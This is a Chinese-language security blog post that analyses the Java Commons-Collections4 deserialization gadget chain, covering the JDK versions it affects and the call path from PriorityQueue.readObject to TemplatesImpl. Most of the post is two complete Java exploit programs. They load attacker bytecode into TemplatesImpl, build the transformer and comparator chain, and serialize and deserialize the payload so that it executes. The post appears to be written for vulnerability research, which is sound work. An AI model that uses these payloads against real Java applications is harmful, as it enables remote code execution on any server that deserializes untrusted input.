利用条件
Commons-Collections4版本
JDK版本:JDK8u301以下版本、JDK11和JDK15
利用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.newTransformer()
TemplatesImpl.newTransformer()
利用链分析
由于这里使用了CC2和CC3的部分,我们这里不再分析,只看最后调用过程即可
我们直接从反序列化这边开始看,调用了 heapify()
方法
调用了 siftDown()
方法
调用 siftDownUsingComparator()
方法,在该方法里面调用了 TransformingComparator
类对象的 compare()
方法
这里调用了 ChainedTransformer
类对象的 transform()
方法
对照上面的变量对应的值来看,调用了 InstantiateTransformer
类对象的 transform()
方法
最后通过 TrAXFilter
类构造器实例化对象,其构造方法调用了 newTransformer()
方法即执行了恶意代码
利用链EXP编写
方法一
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
// CC3
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
// CC2
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class transformingComparatorClass = transformingComparator.getClass();
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
方法二
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsCollections4_Custom {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Class priorityQueueClass = priorityQueue.getClass();
Field comparatorField = priorityQueueClass.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,transformingComparator);
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[]{templates,templates});
serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/6071e76d7b09.html
Comments